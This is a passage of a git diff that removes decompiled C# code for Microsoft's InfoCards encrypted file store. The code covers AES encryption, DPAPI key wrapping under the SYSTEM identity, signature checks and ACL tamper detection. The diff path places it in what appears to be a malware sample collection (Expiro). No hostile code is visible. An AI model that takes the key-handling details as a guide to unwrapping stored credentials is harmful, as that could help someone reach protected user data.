DataAccessException(SR.GetString("StoreInvalidDataFilePath"))); - } - - private void OpenOrCreateHelper(FileInfo theFile, out FileStream fileStream) - { - InfoCardTrace.Assert(WindowsIdentity.GetCurrent().IsSystem, "Should be running as system"); - if (!File.Exists(theFile.FullName)) - { - fileStream = FileDataSource.ResilientOpen(theFile, FileMode.CreateNew, FileAccess.ReadWrite); - theFile.Attributes |= FileAttributes.Hidden | FileAttributes.NotContentIndexed; - theFile.SetAccessControl(FileDataSource.CreateSecurityDescriptor()); - } - else - { - if (NativeMcppMethods.PathSupportsPersistedSecurity(this.m_fileInfo.Directory.FullName) && this.LogIfAclsTampered((FileSystemInfo) theFile)) - { - theFile.SetAccessControl(FileDataSource.CreateSecurityDescriptor()); - theFile.Attributes |= FileAttributes.Hidden | FileAttributes.NotContentIndexed; - } - fileStream = FileDataSource.ResilientOpen(theFile, FileMode.Open, FileAccess.ReadWrite); - } - } - - protected virtual void OnSwapFileWithShadow() - { - using (new SystemIdentity(true)) - { - string fullName = this.m_fileInfo.FullName; - FileDataSource.ResilientDelete(this.m_fileInfo); - FileDataSource.ResilientMove(this.m_shadowInfo, this.m_fileInfo); - this.m_fileInfo = new FileInfo(fullName); - this.m_shadowInfo = new FileInfo(fullName + ".shadow"); - } - } - - protected internal override void OnClose() - { - this.ThrowIfDisposed(); - if (this.m_data != null) - { - this.m_data.Close(); - this.m_data = (IndexedDataBuffer) null; - } - this.m_indexes.Close(); - this.CloseFiles(); - this.m_provider.Dispose(); - } - - protected internal override DataRow ReadRow(int localId, QueryDetails details) - { - DataRow row = (DataRow) null; - if (QueryDetails.Header == (details & QueryDetails.Header)) - { - row = this.m_data.CreateDataRow(localId); - if (QueryDetails.DataBlob == (details & QueryDetails.DataBlob)) - { - byte[] iv = this.AllocateIvBuffer(); - this.m_data.CopyIVFromObject(localId, iv, 0); - using (Stream streamForObjectData = this.m_data.GetStreamForObjectData(localId)) - { - using (MemoryStream output = new MemoryStream((int) streamForObjectData.Length)) - { - this.DecryptData(iv, streamForObjectData, (Stream) output); - row.SetDataField(output.ToArray()); - byte[] buffer = output.GetBuffer(); - Array.Clear((Array) buffer, 0, buffer.Length); - } - } - } - if (QueryDetails.IndexData == (details & QueryDetails.IndexData)) - this.m_indexes.PopulateRowIndexBuffer(row); - } - return row; - } - - protected internal override bool SingleMatch(QueryParameter match, LocalIdCollection localIds) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - if (localIds == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (localIds)); - if (match == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (match)); - if (string.IsNullOrEmpty(match.IndexName)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException(SR.GetString("StoreDataSourceInvalidIndexName", (object) match.IndexName), nameof (match))); - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireReaderLock(0); - flag = true; - } - return this.m_indexes.Match(match, localIds); - } - finally - { - if (flag) - this.m_lock.ReleaseReaderLock(); - } - } - - protected internal override void OnBeginTransaction() - { - InfoCardTrace.Assert(!this.m_currentTransactionDirty, "m_currentTransactionDirty should have been set to false before beginning a transaction"); - base.OnBeginTransaction(); - } - - protected internal override void OnRollbackTransaction() - { - try - { - base.OnRollbackTransaction(); - this.LoadFrom((Stream) this.m_file); - } - finally - { - this.m_currentTransactionDirty = false; - } - } - - protected internal override void OnCommitTransaction() - { - try - { - base.OnCommitTransaction(); - if (!this.m_currentTransactionDirty) - return; - this.FlushToShadow(); - this.SwapFileWithShadow(); - } - finally - { - this.m_currentTransactionDirty = false; - } - } - - protected internal override void WriteRow(DataRow row) - { - this.ThrowIfDisposed(); - this.ThrowIfNotLoaded(); - this.ThrowIfWriteLockNotHeld(); - if (row == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (row)); - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireWriterLock(0); - flag = true; - } - using (MemoryStream output = new MemoryStream()) - { - this.m_encAlg.GenerateIV(); - byte[] iv = this.m_encAlg.IV; - using (MemoryStream input = new MemoryStream(row.GetDataField())) - { - this.EncryptData(iv, (Stream) input, (Stream) output); - int localId = this.m_data.WriteObject(row.LocalId, iv, output.ToArray(), row.ObjectType, row.LastChange, row.GlobalId); - this.m_indexes.SetValuesForId(localId, row.IndexBuffer, true); - row.SourceId = this.SourceId; - row.InstanceId = this.InstanceId; - row.LocalId = localId; - } - } - } - finally - { - if (flag) - this.m_lock.ReleaseWriterLock(); - } - this.m_currentTransactionDirty = true; - } - - protected internal override void RemoveObject(int id) - { - if ((uint) id > (uint) (this.m_data.Index.Length / 4 - 1)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentOutOfRangeException(nameof (id), (object) id, SR.GetString("StoreDataSourceIdOutOfRange"))); - bool flag = false; - try - { - try - { - } - finally - { - this.m_lock.AcquireWriterLock(0); - flag = true; - } - this.m_data.RemoveObject(id); - this.m_indexes.RemoveAllValuesForId(id); - } - finally - { - if (flag) - this.m_lock.ReleaseWriterLock(); - } - this.m_currentTransactionDirty = true; - } - - private void ProtectKey() - { - if (this.m_keyProtected) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreKeyAlreadyProtected"))); - ProtectedMemory.Protect(this.m_key, MemoryProtectionScope.SameProcess); - this.m_keyProtected = true; - } - - private void UnprotectKey() - { - if (!this.m_keyProtected) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreKeyNotAlreadyProtected"))); - ProtectedMemory.Unprotect(this.m_key, MemoryProtectionScope.SameProcess); - this.m_keyProtected = false; - } - - private unsafe void DecryptData(byte[] iv, Stream input, Stream output) - { - InfoCardTrace.Assert(input is MemoryStream, "Invalid stream type"); - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (input == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - if (output == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (output)); - using (SafeCryptoKey safeCryptoKey = new SafeCryptoKey(this.m_provider, this.m_key, iv)) - { - byte[] buffer = new byte[input.Length]; - input.Seek(0L, SeekOrigin.Begin); - input.Read(buffer, 0, (int) input.Length); - uint length = (uint) buffer.Length; - fixed (byte* data = &buffer[0]) - { - if (!NativeMethods.CryptDecrypt(safeCryptoKey.Handle, IntPtr.Zero, 1U, 0U, (IntPtr) (void*) data, ref length)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - Array.Clear((Array) buffer, 0, buffer.Length); - InfoCardTrace.TraceAndLogException(e); - throw InfoCardTrace.ThrowHelperError(e); - } - } - output.Write(buffer, 0, (int) length); - } - } - - private unsafe void EncryptData(byte[] iv, Stream input, Stream output) - { - if (iv == null || iv.Length == 0) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (iv)); - if (input == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - if (output == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (output)); - using (SafeCryptoKey safeCryptoKey = new SafeCryptoKey(this.m_provider, this.m_key, iv)) - { - byte[] buffer = new byte[input.Length + (long) this.m_key.Length]; - input.Seek(0L, SeekOrigin.Begin); - input.Read(buffer, 0, (int) input.Length); - uint length = (uint) input.Length; - fixed (byte* data = &buffer[0]) - { - if (!NativeMethods.CryptEncrypt(safeCryptoKey.Handle, IntPtr.Zero, 1U, 0U, (IntPtr) (void*) data, ref length, (uint) buffer.Length)) - { - Exception e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - InfoCardTrace.TraceAndLogException(e); - throw InfoCardTrace.ThrowHelperError(e); - } - } - output.Write(buffer, 0, (int) length); - } - } - - private unsafe void CreateEmptyStore() - { - this.m_data = new IndexedDataBuffer(new byte[80], new byte[2048], 0, (DataSource) this); - this.m_encAlg.GenerateKey(); - this.m_key = new byte[this.m_encAlg.Key.Length]; - Array.Copy((Array) this.m_encAlg.Key, 0, (Array) this.m_key, 0, this.m_encAlg.Key.Length); - this.m_encAlg.GenerateKey(); - this.m_keyProtected = false; - this.ProtectKey(); - this.m_header = new byte[this.GetTotalHeaderSize()]; - fixed (byte* numPtr = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - ((EncryptedFileStoreHeader*) numPtr)->Version = 12U; - this.EncryptAndSaveDPAPIKeyToHeader(); - } - - private void FlushToShadow() => this.FlushToStream((Stream) this.m_shadow); - - private int GetTotalHeaderSize() => sizeof (EncryptedFileStoreHeader) + this.GetTotalSignatureSize(); - - private int GetOffsetToEncryptedFileHeader() => this.m_variableSignatureLength + 4; - - private int GetTotalSignatureSize() => this.GetOffsetToEncryptedFileHeader(); - - private long GetRequiredFileSize() - { - long num = Convert.ToInt64(this.GetTotalHeaderSize()) + Convert.ToInt64(this.m_encryptedKey.Length) + Convert.ToInt64(this.m_data.DataLength) + Convert.ToInt64(this.m_data.Index.Length + 4); - foreach (string key in (IEnumerable) this.m_indexes.InnerIndexes.Keys) - { - byte[] buffer = ((SecondaryIndex) this.m_indexes.InnerIndexes[(object) key]).GetBuffer(); - num += Convert.ToInt64(8 + buffer.Length); - } - return num + num / 20L; - } - - private unsafe void FlushToStream(Stream stream) - { - if (stream == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (stream)); - stream.SetLength(this.GetRequiredFileSize()); - BinaryWriter binaryWriter1 = new BinaryWriter(stream); - this.m_encAlg.GenerateIV(); - byte[] iv = this.m_encAlg.IV; - int dataLength = this.m_data.DataLength; - stream.Seek((long) this.GetTotalHeaderSize(), SeekOrigin.Begin); - binaryWriter1.Write(this.m_encryptedKey); - binaryWriter1.Write(iv); - long position = stream.Position; - using (BinaryWriter binaryWriter2 = new BinaryWriter((Stream) new MemoryStream())) - { - binaryWriter2.Write(this.m_data.Index.Length / 4); - binaryWriter2.Write(this.m_data.Index); - binaryWriter2.Write(this.m_indexes.Count); - foreach (string key in (IEnumerable) this.m_indexes.InnerIndexes.Keys) - { - SecondaryIndex innerIndex = (SecondaryIndex) this.m_indexes.InnerIndexes[(object) key]; - int lastIndex = innerIndex.LastIndex; - binaryWriter2.Write(lastIndex); - int initialSize = SecondaryIndexDefinition.GetByName(key).InitialSize; - if (lastIndex + 1 < initialSize) - { - binaryWriter2.Write(initialSize); - InfoCardTrace.Assert(initialSize * sizeof (SecondaryIndexItem) <= innerIndex.GetBuffer().Length, "Buffer length is at least min capacity"); - binaryWriter2.Write(innerIndex.GetBuffer(), 0, initialSize * sizeof (SecondaryIndexItem)); - } - else - { - binaryWriter2.Write(lastIndex + 1); - binaryWriter2.Write(innerIndex.GetBuffer(), 0, (lastIndex + 1) * sizeof (SecondaryIndexItem)); - } - } - binaryWriter2.Flush(); - binaryWriter2.Seek(0, SeekOrigin.Begin); - this.EncryptData(iv, binaryWriter2.BaseStream, binaryWriter1.BaseStream); - } - int int32 = Convert.ToInt32(stream.Position - position); - int num = int32 + this.m_data.DataLength + this.GetTotalHeaderSize() + iv.Length + this.m_encryptedKey.Length; - binaryWriter1.Write(this.m_data.Data, 0, this.m_data.DataLength); - stream.Seek(0L, SeekOrigin.Begin); - binaryWriter1.Flush(); - fixed (byte* numPtr = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - ((EncryptedFileStoreHeader*) numPtr)->DataSize = dataLength; - ((EncryptedFileStoreHeader*) numPtr)->Version = 12U; - ((EncryptedFileStoreHeader*) numPtr)->Size = num; - ((EncryptedFileStoreHeader*) numPtr)->IndexSize = int32; - } - binaryWriter1.Write(this.m_header); - stream.SetLength(Convert.ToInt64(num)); - binaryWriter1.Flush(); - this.SignStream(stream); - } - - private unsafe void SignStream(Stream input) - { - long offset = input != null ? input.Position : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - this.m_encAlg.GenerateIV(); - byte[] sourceArray = this.SignDigest(this.m_encAlg.IV, this.CreateStreamDigest(input)); - byte[] numArray = new byte[this.GetTotalSignatureSize()]; - fixed (byte* numPtr = &numArray[0]) - ((SignatureHeader*) numPtr)->SignatureSize = this.m_variableSignatureLength; - Array.Copy((Array) sourceArray, 0, (Array) numArray, 4, sourceArray.Length); - input.Seek(0L, SeekOrigin.Begin); - input.Write(numArray, 0, numArray.Length); - InfoCardTrace.Assert(this.m_variableSignatureLength >= sourceArray.Length, "Generated signature should be less than signature length"); - input.Seek(offset, SeekOrigin.Begin); - } - - private byte[] CreateStreamDigest(Stream input) - { - input.Seek((long) this.GetOffsetToEncryptedFileHeader(), SeekOrigin.Begin); - byte[] data = new byte[Convert.ToInt32((input.Length / 4096L + 1L) * (long) HashUtility.HashBufferLength)]; - int dataIndex = 0; - byte[] numArray = new byte[4096]; - int dataToHashSize; - do - { - dataToHashSize = input.Read(numArray, 0, numArray.Length); - if (dataToHashSize > 0) - { - HashUtility.SetHashValue(data, dataIndex, numArray, 0, dataToHashSize); - dataIndex += HashUtility.HashBufferLength; - } - } - while (dataToHashSize == numArray.Length); - return data; - } - - private byte[] SignDigest(byte[] iv, byte[] digest) - { - byte[] destinationArray = new byte[this.m_variableSignatureLength]; - using (MemoryStream input = new MemoryStream(digest)) - { - using (MemoryStream output = new MemoryStream(digest.Length)) - { - this.EncryptData(iv, (Stream) input, (Stream) output); - Array.Copy((Array) output.GetBuffer(), Convert.ToInt32(output.Position - 1L) - iv.Length, (Array) destinationArray, 0, iv.Length); - Array.Copy((Array) iv, 0, (Array) destinationArray, iv.Length, iv.Length); - return destinationArray; - } - } - } - - private void ValidateSignature(Stream input) - { - long offset = input != null ? input.Position : throw InfoCardTrace.ThrowHelperArgumentNull(nameof (input)); - byte[] buffer = new byte[this.m_variableSignatureLength]; - byte[] numArray1 = this.AllocateIvBuffer(); - input.Seek(20L, SeekOrigin.Begin); - input.Read(numArray1, 0, numArray1.Length); - byte[] numArray2 = this.SignDigest(numArray1, this.CreateStreamDigest(input)); - input.Seek(4L, SeekOrigin.Begin); - input.Read(buffer, 0, buffer.Length); - for (int index = 0; index < buffer.Length; ++index) - { - if ((int) buffer[index] != (int) numArray2[index]) - throw InfoCardTrace.ThrowHelperError((Exception) new CorruptStoreException(SR.GetString("StoreSignatureNotValid"))); - } - input.Seek(offset, SeekOrigin.Begin); - } - - protected unsafe void LoadFrom(Stream stream) - { - if (stream == null) - throw InfoCardTrace.ThrowHelperArgumentNull(nameof (stream)); - stream.Seek(0L, SeekOrigin.Begin); - BinaryReader binaryReader1 = (BinaryReader) new InfoCardBinaryReader(stream); - this.m_header = new byte[this.GetTotalHeaderSize()]; - binaryReader1.Read(this.m_header, 0, this.m_header.Length); - fixed (byte* numPtr1 = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - if (11U != ((EncryptedFileStoreHeader*) numPtr1)->Version && 12U != ((EncryptedFileStoreHeader*) numPtr1)->Version) - { - CorruptStoreException e = new CorruptStoreException(SR.GetString("StoreVersionNotSupported", (object) ((EncryptedFileStoreHeader*) numPtr1)->Version)); - InfoCardTrace.TraceAndLogException((Exception) e); - throw InfoCardTrace.ThrowHelperError((Exception) e); - } - if (12U == ((EncryptedFileStoreHeader*) numPtr1)->Version) - { - this.m_encryptedKey = new byte[((EncryptedFileStoreHeader*) numPtr1)->KeyBlockV2.KeyDataSize]; - binaryReader1.Read(this.m_encryptedKey, 0, ((EncryptedFileStoreHeader*) numPtr1)->KeyBlockV2.KeyDataSize); - } - // ISSUE: __unpin statement - __unpin(numPtr1); - fixed (byte* numPtr2 = &this.m_header[0]) - { - if (this.m_variableSignatureLength != ((SignatureHeader*) numPtr2)->SignatureSize) - throw InfoCardTrace.ThrowHelperError((Exception) new CorruptStoreException(SR.GetString("StoreSignatureNotValid"))); - } - this.ObtainDataKeyFromHeader(); - this.ValidateSignature(stream); - fixed (byte* numPtr3 = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - byte[] numArray = this.AllocateIvBuffer(); - byte[] masterIndex; - using (MemoryStream output = new MemoryStream()) - { - binaryReader1.Read(numArray, 0, numArray.Length); - byte[] buffer1 = binaryReader1.ReadBytes(((EncryptedFileStoreHeader*) numPtr3)->IndexSize); - using (MemoryStream input = new MemoryStream(buffer1)) - { - this.DecryptData(numArray, (Stream) input, (Stream) output); - Array.Clear((Array) buffer1, 0, buffer1.Length); - } - output.Seek(0L, SeekOrigin.Begin); - BinaryReader binaryReader2 = (BinaryReader) new InfoCardBinaryReader((Stream) output); - int num1 = binaryReader2.ReadInt32(); - InfoCardTrace.Assert(num1 > 0, "MasterIndexCount Invalid"); - masterIndex = binaryReader2.ReadBytes(num1 * 4); - InfoCardTrace.Assert((uint) binaryReader2.ReadInt32() <= (uint) this.m_indexes.Count, "SecondaryIndexCount Invalid"); - foreach (string key in (IEnumerable) this.m_indexes.InnerIndexes.Keys) - { - int lastIndex = binaryReader2.ReadInt32(); - int num2 = binaryReader2.ReadInt32(); - byte[] buffer2 = new byte[Utility.CalculateIncreaseByPercent(num2 * sizeof (SecondaryIndexItem), sizeof (SecondaryIndexItem), SecondaryIndexDefinition.GetByName(key).GrowthFactor)]; - binaryReader2.Read(buffer2, 0, num2 * sizeof (SecondaryIndexItem)); - this.m_indexes.SetBuffer(key, buffer2, lastIndex); - } - } - using (MemoryStream memoryStream = new MemoryStream(Utility.CalculateIncreaseByPercent(Convert.ToInt32(binaryReader1.BaseStream.Length - binaryReader1.BaseStream.Position), 1, 5))) - { - byte[] buffer3 = new byte[256]; - int num = 0; - int count; - do - { - count = binaryReader1.Read(buffer3, 0, buffer3.Length); - memoryStream.Write(buffer3, 0, count); - num += count; - } - while (count == buffer3.Length); - byte[] buffer4 = memoryStream.GetBuffer(); - if (num == 0) - buffer4 = new byte[2048]; - this.m_data = new IndexedDataBuffer(masterIndex, buffer4, ((EncryptedFileStoreHeader*) numPtr3)->DataSize, (DataSource) this); - } - } - } - } - - protected virtual void SwapFileWithShadow() - { - this.CloseFiles(); - this.OnSwapFileWithShadow(); - try - { - this.CreateDirAndFiles(); - } - catch - { - this.CloseFiles(); - throw; - } - } - - private unsafe void EncryptAndSaveDPAPIKeyToHeader() - { - DataBlob dataBlob1 = new DataBlob(); - DataBlob dataBlob2 = new DataBlob(); - byte[] numArray = new byte[32 + HashUtility.HashBufferLength]; - this.UnprotectKey(); - try - { - Array.Copy((Array) this.m_key, 0, (Array) numArray, 0, 32); - HashUtility.SetHashValue(numArray, 32, this.m_key, 0, 32); - fixed (byte* numPtr1 = &numArray[0]) - { - DataBlob dataBlob3; - dataBlob3.pbData = new IntPtr((void*) numPtr1); - dataBlob3.cbData = numArray.Length; - try - { - if (!NativeMethods.CryptProtectData(new IntPtr((void*) &dataBlob3), (string) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 65, new IntPtr((void*) &dataBlob1))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptProtectDataFailed"))); - using (new SystemIdentity(true)) - { - if (!NativeMethods.CryptProtectData(new IntPtr((void*) &dataBlob1), (string) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 65, new IntPtr((void*) &dataBlob2))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptProtectDataAsSystemFailed"))); - } - fixed (byte* numPtr2 = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - ((EncryptedFileStoreHeader*) numPtr2)->KeyBlockV2.KeyDataOffset = 0; - ((EncryptedFileStoreHeader*) numPtr2)->KeyBlockV2.KeyDataSize = dataBlob2.cbData; - this.m_encryptedKey = new byte[dataBlob2.cbData]; - for (int index = 0; index < dataBlob2.cbData; ++index) - this.m_encryptedKey[index] = *(byte*) ((IntPtr) dataBlob2.pbData.ToPointer() + index); - } - } - finally - { - Exception e = (Exception) null; - if (IntPtr.Zero != dataBlob1.pbData) - { - Utility.ClearUnsafeMemory(dataBlob1.pbData, dataBlob1.cbData); - if (IntPtr.Zero != NativeMethods.LocalFree(dataBlob1.pbData)) - e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - } - if (IntPtr.Zero != dataBlob2.pbData) - { - Utility.ClearUnsafeMemory(dataBlob2.pbData, dataBlob2.cbData); - if (IntPtr.Zero != NativeMethods.LocalFree(dataBlob2.pbData)) - e = (Exception) new Win32Exception(Marshal.GetLastWin32Error()); - } - if (e != null) - throw InfoCardTrace.ThrowHelperError(e); - } - } - } - finally - { - this.ProtectKey(); - Array.Clear((Array) numArray, 0, numArray.Length); - } - } - - private void ObtainDataKeyFromHeader() - { - try - { - this.m_key = this.TryObtainDataKeyFromDPAPI() ?? throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreUnableToGetStoreKeyFromDPAPI"))); - this.m_keyProtected = false; - this.ProtectKey(); - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidStoreProtectionKeyException()); - throw; - } - } - - private unsafe byte[] TryObtainDataKeyFromDPAPI() - { - DataBlob dataBlob1 = new DataBlob(); - DataBlob dataBlob2 = new DataBlob(); - fixed (byte* numPtr = &this.m_header[this.GetOffsetToEncryptedFileHeader()]) - { - if (11U == ((EncryptedFileStoreHeader*) numPtr)->Version && ((EncryptedFileStoreHeader*) numPtr)->KeyBlock.KeyType != 0) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreFileNotProtectedWithDPAPI"))); - byte[] dataKeyFromDpapi = (byte[]) null; - GCHandle gcHandle = new GCHandle(); - try - { - DataBlob dataBlob3; - if (((EncryptedFileStoreHeader*) numPtr)->Version == 12U) - { - gcHandle = GCHandle.Alloc((object) this.m_encryptedKey, GCHandleType.Pinned); - dataBlob3.pbData = gcHandle.AddrOfPinnedObject(); - dataBlob3.cbData = ((EncryptedFileStoreHeader*) numPtr)->KeyBlockV2.KeyDataSize; - } - else - { - dataBlob3.pbData = new IntPtr((void*) &((EncryptedFileStoreHeader*) numPtr)->KeyBlock.EncryptedKey); - dataBlob3.cbData = ((EncryptedFileStoreHeader*) numPtr)->KeyBlock.EncryptedKeySize; - ((EncryptedFileStoreHeader*) numPtr)->KeyBlockV2.KeyDataOffset = 0; - ((EncryptedFileStoreHeader*) numPtr)->KeyBlockV2.KeyDataSize = dataBlob3.cbData; - this.m_encryptedKey = new byte[dataBlob3.cbData]; - for (int index = 0; index < dataBlob3.cbData; ++index) - this.m_encryptedKey[index] = *(byte*) ((IntPtr) dataBlob3.pbData.ToPointer() + index); - } - using (new SystemIdentity(true)) - { - if (!NativeMethods.CryptUnprotectData(new IntPtr((void*) &dataBlob3), (StringBuilder) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 1, new IntPtr((void*) &dataBlob2))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptUnprotectDataAsSystemFailed"))); - } - if (!NativeMethods.CryptUnprotectData(new IntPtr((void*) &dataBlob2), (StringBuilder) null, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 1, new IntPtr((void*) &dataBlob1))) - throw InfoCardTrace.ThrowHelperError((Exception) new Win32Exception(Marshal.GetLastWin32Error(), SR.GetString("StoreCryptUnprotectDataFailed"))); - InfoCardTrace.Assert(dataBlob1.cbData == 32 + HashUtility.HashBufferLength, "The data size returned by CryptUnprotectData is invalid or corrupt."); - dataKeyFromDpapi = new byte[32]; - Marshal.Copy(dataBlob1.pbData, dataKeyFromDpapi, 0, 32); - byte[] data = new byte[HashUtility.HashBufferLength]; - HashUtility.SetHashValue(data, 0, dataKeyFromDpapi, 0, 32); - for (int index = 0; index < data.Length; ++index) - { - if ((int) data[index] != (int) *(byte*) ((IntPtr) dataBlob1.pbData.ToPointer() + (32 + index))) - throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("StoreDecryptedKeyIsNotValid"))); - } - return dataKeyFromDpapi; - } - catch - { - if (dataKeyFromDpapi != null) - Array.Clear((Array) dataKeyFromDpapi, 0, dataKeyFromDpapi.Length); - throw; - } - finally - { - if (gcHandle.IsAllocated) - gcHandle.Free(); - if (IntPtr.Zero != dataBlob2.pbData) - { - Utility.ClearUnsafeMemory(dataBlob2.pbData, dataBlob2.cbData); - NativeMethods.LocalFree(dataBlob2.pbData); - } - if (IntPtr.Zero != dataBlob1.pbData) - { - Utility.ClearUnsafeMemory(dataBlob1.pbData, dataBlob1.cbData); - NativeMethods.LocalFree(dataBlob1.pbData); - } - } - } - } - - private bool LogIfAclsTampered(FileSystemInfo fileSysInfo) - { - bool condition = true; - try - { - FileSystemSecurity accessControl; - if (fileSysInfo is DirectoryInfo) - { - accessControl = (FileSystemSecurity) ((DirectoryInfo) fileSysInfo).GetAccessControl(AccessControlSections.Access | AccessControlSections.Owner); - } - else - { - InfoCardTrace.Assert(fileSysInfo is FileInfo, "Only fileinfo possible"); - accessControl = (FileSystemSecurity) ((FileInfo) fileSysInfo).GetAccessControl(AccessControlSections.Access | AccessControlSections.Owner); - } - condition = this.LogIfAclsTamperedHelper(accessControl); - } - catch (UnauthorizedAccessException ex) - { - InfoCardTrace.Assert(condition, "ACL must have been tampered with"); - } - if (condition) - InfoCardTrace.TraceAndLogException((Exception) new DataAccessException(SR.GetString("StoreAclsTamperedWith"))); - return condition; - } - - private bool LogIfAclsTamperedHelper(FileSystemSecurity fs) - { - if (SystemIdentity.LsaIdentityReference != fs.GetOwner(typeof (SecurityIdentifier))) - return true; - AuthorizationRuleCollection accessRules = fs.GetAccessRules(true, true, typeof (SecurityIdentifier)); - bool flag = fs is DirectorySecurity; - foreach (FileSystemAccessRule systemAccessRule in (ReadOnlyCollectionBase) accessRules) - { - if ((!(SystemIdentity.LsaIdentityReference == systemAccessRule.IdentityReference) || FileSystemRights.FullControl != systemAccessRule.FileSystemRights || systemAccessRule.AccessControlType != AccessControlType.Allow) && (!flag || !((IdentityReference) FileDataSource.AdministratorSid == systemAccessRule.IdentityReference) || systemAccessRule.AccessControlType != AccessControlType.Allow || (FileSystemRights.ReadData | FileSystemRights.DeleteSubdirectoriesAndFiles | FileSystemRights.Synchronize) != systemAccessRule.FileSystemRights)) - return true; - } - return false; - } - - private static T CreateSecurityDescriptor() where T : FileSystemSecurity, new() - { - T securityDescriptor = new T(); - securityDescriptor.SetOwner(SystemIdentity.LsaIdentityReference); - foreach (FileSystemAccessRule accessRule in (ReadOnlyCollectionBase) securityDescriptor.GetAccessRules(true, true, typeof (SecurityIdentifier))) - securityDescriptor.RemoveAccessRuleAll(accessRule); - securityDescriptor.AddAccessRule(new FileSystemAccessRule(SystemIdentity.LsaIdentityReference, FileSystemRights.FullControl, InheritanceFlags.None, PropagationFlags.None, AccessControlType.Allow)); - if ((object) securityDescriptor is DirectorySecurity) - securityDescriptor.AddAccessRule(new FileSystemAccessRule((IdentityReference) FileDataSource.AdministratorSid, FileSystemRights.ReadData | FileSystemRights.DeleteSubdirectoriesAndFiles, AccessControlType.Allow)); - securityDescriptor.SetAccessRuleProtection(true, false); - return securityDescriptor; - } - - private void SetupProvider() => this.m_provider = SafeRsaProviderHandle.Construct(); - - private byte[] AllocateIvBuffer() - { - InfoCardTrace.Assert(16 == this.m_encAlg.IV.Length, "Must be equal"); - InfoCardTrace.Assert(16 == this.m_encAlg.IV.Length, "Must be equal"); - return new byte[this.m_encAlg.IV.Length]; - } - - private static void ResilientDelete(FileInfo toDelete) - { - int millisecondsTimeout = 10; - bool flag = true; - Exception inner = (Exception) null; - do - { - if (!flag) - { - Thread.Sleep(millisecondsTimeout); - millisecondsTimeout *= 2; - } - try - { - toDelete.Delete(); - flag = true; - } - catch (IOException ex) - { - inner = (Exception) ex; - flag = false; - } - } - while (!flag && millisecondsTimeout <= 500); - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreFileInUse"), inner)); - } - - private static void ResilientMove(FileInfo fileFrom, FileInfo fileTo) - { - int millisecondsTimeout = 10; - bool flag = true; - do - { - if (!flag) - { - Thread.Sleep(millisecondsTimeout); - millisecondsTimeout *= 2; - } - try - { - fileFrom.MoveTo(fileTo.FullName); - flag = true; - } - catch (IOException ex) - { - flag = false; - } - } - while (!flag && millisecondsTimeout <= 500); - if (flag) - return; - InfoCardTrace.FailFast(SR.GetString("StoreFileInUse")); - } - - private static FileStream ResilientOpen( - FileInfo toOpen, - FileMode mode, - FileAccess access) - { - int millisecondsTimeout = 10; - bool flag = true; - Exception inner = (Exception) null; - FileStream fileStream = (FileStream) null; - do - { - if (!flag) - { - Thread.Sleep(millisecondsTimeout); - millisecondsTimeout *= 2; - } - try - { - fileStream = toOpen.Open(mode, access, FileShare.None); - flag = true; - } - catch (IOException ex) - { - inner = (Exception) ex; - flag = false; - } - } - while (!flag && millisecondsTimeout <= 500); - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new DataAccessException(SR.GetString("StoreFileInUse"), inner)); - return fileStream; - } - - internal static SymmetricAlgorithm CreateEncryptionAlg() - { - RijndaelManaged encryptionAlg = new RijndaelManaged(); - encryptionAlg.Mode = CipherMode.CBC; - encryptionAlg.KeySize = 256; - encryptionAlg.BlockSize = 128; - return (SymmetricAlgorithm) encryptionAlg; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/FreeIndexList.cs 